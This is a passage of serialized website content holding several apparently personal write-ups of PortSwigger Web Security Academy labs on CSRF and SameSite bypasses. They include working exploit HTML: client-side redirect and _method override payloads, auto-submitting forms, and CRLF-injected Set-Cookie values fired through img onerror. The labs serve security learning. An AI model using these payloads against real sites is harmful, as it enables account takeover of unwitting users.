'https:\u002F\u002F0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email?_method=POST&email=x@x.ru&submit=1';\n\u003C\u002Fscript>\n",[37,9213,9214,9222,9233],{"__ignoreMap":87},[313,9215,9216,9218,9220],{"class":315,"line":316},[313,9217,749],{"class":748},[313,9219,753],{"class":752},[313,9221,756],{"class":748},[313,9223,9224,9226,9228,9231],{"class":315,"line":88},[313,9225,7989],{"class":748},[313,9227,3037],{"class":761},[313,9229,9230],{"class":771}," 'https:\u002F\u002F0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email?_method=POST&email=x@x.ru&submit=1'",[313,9232,5650],{"class":748},[313,9234,9235,9237,9239],{"class":315,"line":253},[313,9236,946],{"class":748},[313,9238,753],{"class":752},[313,9240,756],{"class":748},[15,9242,9243,9244,9247,9248,8649,9250,212],{},"Didn't work — parameters after the first ",[37,9245,9246],{},"&"," got cut off. Then let's encode ",[37,9249,4251],{},[37,9251,9246],{},[142,9253,9255],{"className":3020,"code":9254,"language":3022,"meta":87,"style":87},"\u003Cscript>\n    location = 'https:\u002F\u002F0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email%3f_method=POST%26email=x@x.ru%26submit=1';\n\u003C\u002Fscript>\n",[37,9256,9257,9265,9276],{"__ignoreMap":87},[313,9258,9259,9261,9263],{"class":315,"line":316},[313,9260,749],{"class":748},[313,9262,753],{"class":752},[313,9264,756],{"class":748},[313,9266,9267,9269,9271,9274],{"class":315,"line":88},[313,9268,7989],{"class":748},[313,9270,3037],{"class":761},[313,9272,9273],{"class":771}," 'https:\u002F\u002F0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email%3f_method=POST%26email=x@x.ru%26submit=1'",[313,9275,5650],{"class":748},[313,9277,9278,9280,9282],{"class":315,"line":253},[313,9279,946],{"class":748},[313,9281,753],{"class":752},[313,9283,756],{"class":748},[15,9285,3968],{},[361,9287,9288],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":87,"searchDepth":88,"depth":88,"links":9290},[9291,9292],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135},"2026-05-04","Bypassing SameSite=Strict through a client-side redirect on \u002Fpost\u002Fcomment\u002Fconfirmation by overriding postId.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-client-side-redirect",{"title":8971,"description":9294},{"loc":9296},"notes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-client-side-redirect",[264,7206,8603,269],"VOJ2YxsBUIahG0H6II24NoAUYFSTXsqEqMChxQY8ihQ",{"id":9303,"title":9304,"author":6,"body":9305,"date":9394,"description":9395,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":9396,"navigation":96,"notes":93,"path":9397,"psTitle":9319,"seo":9398,"sitemap":9399,"stem":9400,"tags":9401,"timeSpent":2024,"type":106,"__hash__":9402},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-method-override.md","SameSite Lax Bypass via Method Override (PortSwigger Lab)",{"type":8,"value":9306,"toc":9390},[9307,9311,9313,9320,9322,9328,9333,9344,9350,9353,9356,9387],[11,9308,9310],{"id":9309},"samesite-lax-bypass-via-method-override","SameSite Lax Bypass via Method Override",[19,9312,121],{"id":120},[15,9314,9315,131],{},[125,9316,9319],{"href":9317,"rel":9318},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-samesite-restrictions\u002Flab-samesite-lax-bypass-via-method-override",[129],"SameSite Lax bypass via method override",[19,9321,135],{"id":134},[15,9323,9324,9325,9327],{},"Given: we want to change the user's password using a CSRF attack, bypassing the SameSite restriction via method override. In this case ",[37,9326,7676],{},", which means the cookie will only be sent on GET top-level navigation requests — that is, when the URL changes in the browser's address bar.",[15,9329,9330,9331,524],{},"We find the request and see: a POST request with 1 parameter in the body — ",[37,9332,7834],{},[15,9334,9335,9336,9339,9340,9343],{},"OK, let's try simply swapping POST for GET — ",[37,9337,9338],{},"Method not allowed",". Let's try the classic — the ",[37,9341,9342],{},"_method"," query param:",[142,9345,9348],{"className":9346,"code":9347,"language":147},[145],"GET \u002Fmy-account\u002Fchange-email?email=xui1@p.ru&_method=POST HTTP\u002F2\n",[37,9349,9347],{"__ignoreMap":87},[15,9351,9352],{},"That payload goes through.",[15,9354,9355],{},"What do we host on the exploit server?",[142,9357,9359],{"className":3020,"code":9358,"language":3022,"meta":87,"style":87},"\u003Cscript>\n  location = 'https:\u002F\u002F0a6b0055046e423e8141849f004500f8.web-security-academy.net\u002Fmy-account\u002Fchange-email?email=hacked@p.ru&_method=POST'\n\u003C\u002Fscript>\n",[37,9360,9361,9369,9379],{"__ignoreMap":87},[313,9362,9363,9365,9367],{"class":315,"line":316},[313,9364,749],{"class":748},[313,9366,753],{"class":752},[313,9368,756],{"class":748},[313,9370,9371,9374,9376],{"class":315,"line":88},[313,9372,9373],{"class":748},"  location ",[313,9375,3037],{"class":761},[313,9377,9378],{"class":771}," 'https:\u002F\u002F0a6b0055046e423e8141849f004500f8.web-security-academy.net\u002Fmy-account\u002Fchange-email?email=hacked@p.ru&_method=POST'\n",[313,9380,9381,9383,9385],{"class":315,"line":253},[313,9382,946],{"class":748},[313,9384,753],{"class":752},[313,9386,756],{"class":748},[361,9388,9389],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":9391},[9392,9393],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135},"2026-05-03","Bypassing SameSite=Lax by swapping POST for GET with _method and a top-level navigation.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-method-override",{"title":9304,"description":9395},{"loc":9397},"notes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-method-override",[264,7206,8603,269],"zt92lOnGdTbUjxGM_n7l5w2e3G74I-l7YYW12Un6E0Y",{"id":9404,"title":9405,"author":6,"body":9406,"date":9597,"description":9598,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":9599,"navigation":96,"notes":93,"path":9600,"psTitle":9420,"seo":9601,"sitemap":9602,"stem":9603,"tags":9604,"timeSpent":2024,"type":106,"__hash__":9606},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-duplicated-in-cookie.md","CSRF where Token is Duplicated in Cookie (PortSwigger Lab)",{"type":8,"value":9407,"toc":9593},[9408,9412,9414,9421,9423,9426,9432,9435,9441,9448,9455,9464,9589,9591],[11,9409,9411],{"id":9410},"csrf-where-token-is-duplicated-in-cookie","CSRF where Token is Duplicated in Cookie",[19,9413,121],{"id":120},[15,9415,9416,131],{},[125,9417,9420],{"href":9418,"rel":9419},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-token-validation\u002Flab-token-duplicated-in-cookie",[129],"CSRF where token is duplicated in cookie",[19,9422,135],{"id":134},[15,9424,9425],{},"Given: we have an exploit server and a vulnerable application where we want to change the current user's password while bypassing the CSRF defense.",[15,9427,9428,9429,9431],{},"OK, let's look at how the password change works. We observe that ",[37,9430,7206],{}," is duplicated in the request body and in the cookies.",[15,9433,9434],{},"Cookies:",[142,9436,9439],{"className":9437,"code":9438,"language":147},[145],"csrf=nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf; session=FZB4InscWA9YK1iChehZ73tFUts8fZGW\n",[37,9440,9438],{"__ignoreMap":87},[15,9442,9443,9444,9447],{},"In the body — ",[37,9445,9446],{},"nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf",". They match, they're duplicated.",[15,9449,9450,9451,9454],{},"Let's try sending a request where in both places we put ",[37,9452,9453],{},"xxx"," instead of the token. The password change succeeds. Looks like we can reuse the payload from the previous lab CSRF where token is tied to non-session cookie.",[15,9456,9457,9458,9460,9461,524],{},"Only this time we just set any matching values, and in the cookie we write a value for ",[37,9459,7206],{},", not ",[37,9462,9463],{},"csrfKey",[142,9465,9467],{"className":3020,"code":9466,"language":3022,"meta":87,"style":87},"\u003Cform id=\"csrf\" action=\"https:\u002F\u002F0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"xxx\">\n\u003C\u002Fform>\n\n\u003Cimg src=\"https:\u002F\u002F0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrf=xxx%3B%20path=%2F%3B%20SameSite=None%3B%20Secure\" onerror=\"document.getElementById('csrf').submit()\">\n",[37,9468,9469,9497,9518,9539,9547,9551],{"__ignoreMap":87},[313,9470,9471,9473,9475,9477,9479,9482,9484,9486,9489,9491,9493,9495],{"class":315,"line":316},[313,9472,749],{"class":748},[313,9474,7035],{"class":752},[313,9476,5424],{"class":795},[313,9478,3037],{"class":748},[313,9480,9481],{"class":771},"\"csrf\"",[313,9483,8412],{"class":795},[313,9485,3037],{"class":748},[313,9487,9488],{"class":771},"\"https:\u002F\u002F0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net\u002Fmy-account\u002Fchange-email\"",[313,9490,7062],{"class":795},[313,9492,3037],{"class":748},[313,9494,7067],{"class":771},[313,9496,756],{"class":748},[313,9498,9499,9501,9503,9505,9507,9509,9511,9513,9516],{"class":315,"line":88},[313,9500,3047],{"class":748},[313,9502,5194],{"class":752},[313,9504,5207],{"class":795},[313,9506,3037],{"class":748},[313,9508,6540],{"class":771},[313,9510,5214],{"class":795},[313,9512,3037],{"class":748},[313,9514,9515],{"class":771},"\"wr3dmast3r@m.com\"",[313,9517,756],{"class":748},[313,9519,9520,9522,9524,9526,9528,9530,9532,9534,9537],{"class":315,"line":253},[313,9521,3047],{"class":748},[313,9523,5194],{"class":752},[313,9525,5207],{"class":795},[313,9527,3037],{"class":748},[313,9529,9481],{"class":771},[313,9531,5214],{"class":795},[313,9533,3037],{"class":748},[313,9535,9536],{"class":771},"\"xxx\"",[313,9538,756],{"class":748},[313,9540,9541,9543,9545],{"class":315,"line":780},[313,9542,946],{"class":748},[313,9544,7035],{"class":752},[313,9546,756],{"class":748},[313,9548,9549],{"class":315,"line":792},[313,9550,777],{"emptyLinePlaceholder":96},[313,9552,9553,9555,9557,9559,9561,9564,9567,9569,9571,9574,9576,9579,9582,9584,9587],{"class":315,"line":802},[313,9554,749],{"class":748},[313,9556,3059],{"class":752},[313,9558,3062],{"class":795},[313,9560,3037],{"class":748},[313,9562,9563],{"class":771},"\"https:\u002F\u002F0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrf=xxx%3B%20path=%2F%3B%20SameSite=None%3B%20Secure\"",[313,9565,9566],{"class":795}," onerror",[313,9568,3037],{"class":748},[313,9570,3809],{"class":771},[313,9572,9573],{"class":748},"document",[313,9575,524],{"class":771},[313,9577,9578],{"class":795},"getElementById",[313,9580,9581],{"class":771},"('csrf').",[313,9583,7173],{"class":795},[313,9585,9586],{"class":771},"()\"",[313,9588,756],{"class":748},[15,9590,3968],{},[361,9592,4155],{},{"title":87,"searchDepth":88,"depth":88,"links":9594},[9595,9596],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135},"2026-05-02","Replacing the duplicated csrf\u002Fcookie pair via CRLF injection into Set-Cookie.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-duplicated-in-cookie",{"title":9405,"description":9598},{"loc":9600},"notes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-duplicated-in-cookie",[264,7206,9605,269],"crlf-injection","BpwN6wo5vLzMRm18drt6z1yNXsa-mwv6TJqtwzVUJG0",{"id":9608,"title":9609,"author":6,"body":9610,"date":9597,"description":10337,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":10338,"navigation":96,"notes":93,"path":10339,"psTitle":9624,"seo":10340,"sitemap":10341,"stem":10342,"tags":10343,"timeSpent":10344,"type":106,"__hash__":10345},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-tied-to-non-session-cookie.md","CSRF where Token is Tied to Non-Session Cookie (PortSwigger Lab)",{"type":8,"value":9611,"toc":10333},[9612,9616,9618,9625,9627,9630,9646,9657,9666,9676,9683,9689,9695,9701,9703,9709,9722,9725,9806,9809,9855,9862,9868,9871,9995,10002,10008,10017,10055,10058,10173,10183,10197,10200,10206,10209,10325,10328,10331],[11,9613,9615],{"id":9614},"csrf-where-token-is-tied-to-non-session-cookie","CSRF where Token is Tied to Non-Session Cookie",[19,9617,121],{"id":120},[15,9619,9620,131],{},[125,9621,9624],{"href":9622,"rel":9623},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-token-validation\u002Flab-token-tied-to-non-session-cookie",[129],"CSRF where token is tied to non-session cookie",[19,9626,135],{"id":134},[15,9628,9629],{},"Given: we need to change the user's email by creating a malicious page, bypassing the CSRF-token defense along the way. OK, let's study how the email change works.",[15,9631,9632,9633,9636,9637,8649,9639,9641,9642,9645],{},"The hidden CSRF field — ",[37,9634,9635],{},"6m9B7huvo0lU04m7EVxdWFMD7jDLb8J1",". Look at the cookies: ",[37,9638,3617],{},[37,9640,9463],{},". Interesting. Check the ",[37,9643,9644],{},"POST \u002Fchange-email"," request. It sends email + CSRF from the hidden field. And of course the cookies.",[15,9647,9648,9649,9651,9652,4244,9654,9656],{},"So the server checks that the ",[37,9650,7206],{}," token matches ",[37,9653,9463],{},[37,9655,3617],{}," is not used in the validation.",[15,9658,9659,9660,9662,9663,9665],{},"Attack vector: substitute the victim's ",[37,9661,9463],{}," cookie and supply the matching ",[37,9664,7206],{}," token. We're given an exploit server.",[15,9667,9668,9669,9672,9673,9675],{},"Key question — how do we set a cookie on the victim? As my mentor suggested, we can look toward a ",[37,9670,9671],{},"\\r\\n"," attack and inject our own ",[37,9674,8644],{}," header, given that there's a function on the site that reflects into this header.",[15,9677,9678,9679,9682],{},"Looks like the search function is the only candidate. Try searching for ",[37,9680,9681],{},"wr3dmast3r",". Indeed:",[142,9684,9687],{"className":9685,"code":9686,"language":147},[145],"set-cookie: LastSearchTerm=wr3dmast3r; Secure; HttpOnly\n",[37,9688,9686],{"__ignoreMap":87},[15,9690,9691,9692,212],{},"So the payload could look like this — ",[37,9693,9694],{},"?search=wr3dmast3r%0d%0aSet-Cookie:%20csrfKey=hacked%3B%20path=%2F",[142,9696,9699],{"className":9697,"code":9698,"language":147},[145],"GET \u002F?search=test%0d%0aSet-Cookie:%20csrfKey=some%3B%20path=%2F HTTP\u002F2\n",[37,9700,9698],{"__ignoreMap":87},[15,9702,511],{},[142,9704,9707],{"className":9705,"code":9706,"language":147},[145],"Set-Cookie: LastSearchTerm=test\nSet-Cookie: csrfKey=hacked; path=\u002F; Secure; HttpOnly\n",[37,9708,9706],{"__ignoreMap":87},[15,9710,9711,9712,9714,9715,9718,9719,9721],{},"For the full attack we host on the exploit server a page with an iframe and a password-change form, which will load the search page with our payload (which sets a pre-prepared ",[37,9713,9463],{}," in the user's cookies), and on ",[37,9716,9717],{},"onload"," we submit the form with a pre-prepared ",[37,9720,7206],{}," token — and that's how we change the password.",[15,9723,9724],{},"Form:",[142,9726,9728],{"className":3020,"code":9727,"language":3022,"meta":87,"style":87},"\u003Cform id=\"csrf\" action=\"LAB URL + \u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"TOKEN\">\n\u003C\u002Fform>\n",[37,9729,9730,9757,9777,9798],{"__ignoreMap":87},[313,9731,9732,9734,9736,9738,9740,9742,9744,9746,9749,9751,9753,9755],{"class":315,"line":316},[313,9733,749],{"class":748},[313,9735,7035],{"class":752},[313,9737,5424],{"class":795},[313,9739,3037],{"class":748},[313,9741,9481],{"class":771},[313,9743,8412],{"class":795},[313,9745,3037],{"class":748},[313,9747,9748],{"class":771},"\"LAB URL + \u002Fmy-account\u002Fchange-email\"",[313,9750,7062],{"class":795},[313,9752,3037],{"class":748},[313,9754,7067],{"class":771},[313,9756,756],{"class":748},[313,9758,9759,9761,9763,9765,9767,9769,9771,9773,9775],{"class":315,"line":88},[313,9760,3047],{"class":748},[313,9762,5194],{"class":752},[313,9764,5207],{"class":795},[313,9766,3037],{"class":748},[313,9768,6540],{"class":771},[313,9770,5214],{"class":795},[313,9772,3037],{"class":748},[313,9774,9515],{"class":771},[313,9776,756],{"class":748},[313,9778,9779,9781,9783,9785,9787,9789,9791,9793,9796],{"class":315,"line":253},[313,9780,3047],{"class":748},[313,9782,5194],{"class":752},[313,9784,5207],{"class":795},[313,9786,3037],{"class":748},[313,9788,9481],{"class":771},[313,9790,5214],{"class":795},[313,9792,3037],{"class":748},[313,9794,9795],{"class":771},"\"TOKEN\"",[313,9797,756],{"class":748},[313,9799,9800,9802,9804],{"class":315,"line":780},[313,9801,946],{"class":748},[313,9803,7035],{"class":752},[313,9805,756],{"class":748},[15,9807,9808],{},"iframe:",[142,9810,9812],{"className":3020,"code":9811,"language":3022,"meta":87,"style":87},"\u003Ciframe src=\"https:\u002F\u002FLAB\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=KEY%3B%20path=%2F\"\n  onload=\"document.getElementById('csrf').submit()}\">\u003C\u002Fiframe>\n",[37,9813,9814,9827],{"__ignoreMap":87},[313,9815,9816,9818,9820,9822,9824],{"class":315,"line":316},[313,9817,749],{"class":748},[313,9819,6651],{"class":752},[313,9821,3062],{"class":795},[313,9823,3037],{"class":748},[313,9825,9826],{"class":771},"\"https:\u002F\u002FLAB\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=KEY%3B%20path=%2F\"\n",[313,9828,9829,9832,9834,9836,9838,9840,9842,9844,9846,9849,9851,9853],{"class":315,"line":88},[313,9830,9831],{"class":795},"  onload",[313,9833,3037],{"class":748},[313,9835,3809],{"class":771},[313,9837,9573],{"class":748},[313,9839,524],{"class":771},[313,9841,9578],{"class":795},[313,9843,9581],{"class":771},[313,9845,7173],{"class":795},[313,9847,9848],{"class":771},"()}\"",[313,9850,3120],{"class":748},[313,9852,6651],{"class":752},[313,9854,756],{"class":748},[15,9856,9857,9858,9861],{},"Make a request to ",[37,9859,9860],{},"\u002Fmy-account"," and grab the key and token for the attack:",[142,9863,9866],{"className":9864,"code":9865,"language":147},[145],"csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi\ncsrf=g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\n",[37,9867,9865],{"__ignoreMap":87},[15,9869,9870],{},"Final:",[142,9872,9874],{"className":3020,"code":9873,"language":3022,"meta":87,"style":87},"\u003Cform id=\"csrf\" action=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\">\n\u003C\u002Fform>\n\n\u003Ciframe src=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\"\n  onload=\"document.getElementById('csrf').submit()}\">\u003C\u002Fiframe>\n",[37,9875,9876,9903,9923,9944,9952,9956,9969],{"__ignoreMap":87},[313,9877,9878,9880,9882,9884,9886,9888,9890,9892,9895,9897,9899,9901],{"class":315,"line":316},[313,9879,749],{"class":748},[313,9881,7035],{"class":752},[313,9883,5424],{"class":795},[313,9885,3037],{"class":748},[313,9887,9481],{"class":771},[313,9889,8412],{"class":795},[313,9891,3037],{"class":748},[313,9893,9894],{"class":771},"\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002Fmy-account\u002Fchange-email\"",[313,9896,7062],{"class":795},[313,9898,3037],{"class":748},[313,9900,7067],{"class":771},[313,9902,756],{"class":748},[313,9904,9905,9907,9909,9911,9913,9915,9917,9919,9921],{"class":315,"line":88},[313,9906,3047],{"class":748},[313,9908,5194],{"class":752},[313,9910,5207],{"class":795},[313,9912,3037],{"class":748},[313,9914,6540],{"class":771},[313,9916,5214],{"class":795},[313,9918,3037],{"class":748},[313,9920,9515],{"class":771},[313,9922,756],{"class":748},[313,9924,9925,9927,9929,9931,9933,9935,9937,9939,9942],{"class":315,"line":253},[313,9926,3047],{"class":748},[313,9928,5194],{"class":752},[313,9930,5207],{"class":795},[313,9932,3037],{"class":748},[313,9934,9481],{"class":771},[313,9936,5214],{"class":795},[313,9938,3037],{"class":748},[313,9940,9941],{"class":771},"\"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\"",[313,9943,756],{"class":748},[313,9945,9946,9948,9950],{"class":315,"line":780},[313,9947,946],{"class":748},[313,9949,7035],{"class":752},[313,9951,756],{"class":748},[313,9953,9954],{"class":315,"line":792},[313,9955,777],{"emptyLinePlaceholder":96},[313,9957,9958,9960,9962,9964,9966],{"class":315,"line":802},[313,9959,749],{"class":748},[313,9961,6651],{"class":752},[313,9963,3062],{"class":795},[313,9965,3037],{"class":748},[313,9967,9968],{"class":771},"\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\"\n",[313,9970,9971,9973,9975,9977,9979,9981,9983,9985,9987,9989,9991,9993],{"class":315,"line":821},[313,9972,9831],{"class":795},[313,9974,3037],{"class":748},[313,9976,3809],{"class":771},[313,9978,9573],{"class":748},[313,9980,524],{"class":771},[313,9982,9578],{"class":795},[313,9984,9581],{"class":771},[313,9986,7173],{"class":795},[313,9988,9848],{"class":771},[313,9990,3120],{"class":748},[313,9992,6651],{"class":752},[313,9994,756],{"class":748},[15,9996,9997,9998,10001],{},"Problem, ",[37,9999,10000],{},"X-Frame-Options"," is set:",[142,10003,10006],{"className":10004,"code":10005,"language":147},[145],"Refused to display 'https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F' in a frame because it set 'X-Frame-Options' to 'sameorigin'.\n",[37,10007,10005],{"__ignoreMap":87},[15,10009,10010,10011,10013,10014,212],{},"We can try ",[37,10012,3059],{},", after all we only need to fire the request. Only the handler will be ",[37,10015,10016],{},"onerror",[142,10018,10020],{"className":3020,"code":10019,"language":3022,"meta":87,"style":87},"\u003Cimg src=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\" onerror=\"document.getElementById('csrf').submit()}\">\n",[37,10021,10022],{"__ignoreMap":87},[313,10023,10024,10026,10028,10030,10032,10035,10037,10039,10041,10043,10045,10047,10049,10051,10053],{"class":315,"line":316},[313,10025,749],{"class":748},[313,10027,3059],{"class":752},[313,10029,3062],{"class":795},[313,10031,3037],{"class":748},[313,10033,10034],{"class":771},"\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\"",[313,10036,9566],{"class":795},[313,10038,3037],{"class":748},[313,10040,3809],{"class":771},[313,10042,9573],{"class":748},[313,10044,524],{"class":771},[313,10046,9578],{"class":795},[313,10048,9581],{"class":771},[313,10050,7173],{"class":795},[313,10052,9848],{"class":771},[313,10054,756],{"class":748},[15,10056,10057],{},"Final 2:",[142,10059,10061],{"className":3020,"code":10060,"language":3022,"meta":87,"style":87},"\u003Cform id=\"csrf\" action=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\">\n\u003C\u002Fform>\n\n\u003Cimg src=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\" onerror=\"document.getElementById('csrf').submit()\">\n",[37,10062,10063,10089,10109,10129,10137,10141],{"__ignoreMap":87},[313,10064,10065,10067,10069,10071,10073,10075,10077,10079,10081,10083,10085,10087],{"class":315,"line":316},[313,10066,749],{"class":748},[313,10068,7035],{"class":752},[313,10070,5424],{"class":795},[313,10072,3037],{"class":748},[313,10074,9481],{"class":771},[313,10076,8412],{"class":795},[313,10078,3037],{"class":748},[313,10080,9894],{"class":771},[313,10082,7062],{"class":795},[313,10084,3037],{"class":748},[313,10086,7067],{"class":771},[313,10088,756],{"class":748},[313,10090,10091,10093,10095,10097,10099,10101,10103,10105,10107],{"class":315,"line":88},[313,10092,3047],{"class":748},[313,10094,5194],{"class":752},[313,10096,5207],{"class":795},[313,10098,3037],{"class":748},[313,10100,6540],{"class":771},[313,10102,5214],{"class":795},[313,10104,3037],{"class":748},[313,10106,9515],{"class":771},[313,10108,756],{"class":748},[313,10110,10111,10113,10115,10117,10119,10121,10123,10125,10127],{"class":315,"line":253},[313,10112,3047],{"class":748},[313,10114,5194],{"class":752},[313,10116,5207],{"class":795},[313,10118,3037],{"class":748},[313,10120,9481],{"class":771},[313,10122,5214],{"class":795},[313,10124,3037],{"class":748},[313,10126,9941],{"class":771},[313,10128,756],{"class":748},[313,10130,10131,10133,10135],{"class":315,"line":780},[313,10132,946],{"class":748},[313,10134,7035],{"class":752},[313,10136,756],{"class":748},[313,10138,10139],{"class":315,"line":792},[313,10140,777],{"emptyLinePlaceholder":96},[313,10142,10143,10145,10147,10149,10151,10153,10155,10157,10159,10161,10163,10165,10167,10169,10171],{"class":315,"line":802},[313,10144,749],{"class":748},[313,10146,3059],{"class":752},[313,10148,3062],{"class":795},[313,10150,3037],{"class":748},[313,10152,10034],{"class":771},[313,10154,9566],{"class":795},[313,10156,3037],{"class":748},[313,10158,3809],{"class":771},[313,10160,9573],{"class":748},[313,10162,524],{"class":771},[313,10164,9578],{"class":795},[313,10166,9581],{"class":771},[313,10168,7173],{"class":795},[313,10170,9586],{"class":771},[313,10172,756],{"class":748},[15,10174,10175,10176,10179,10180,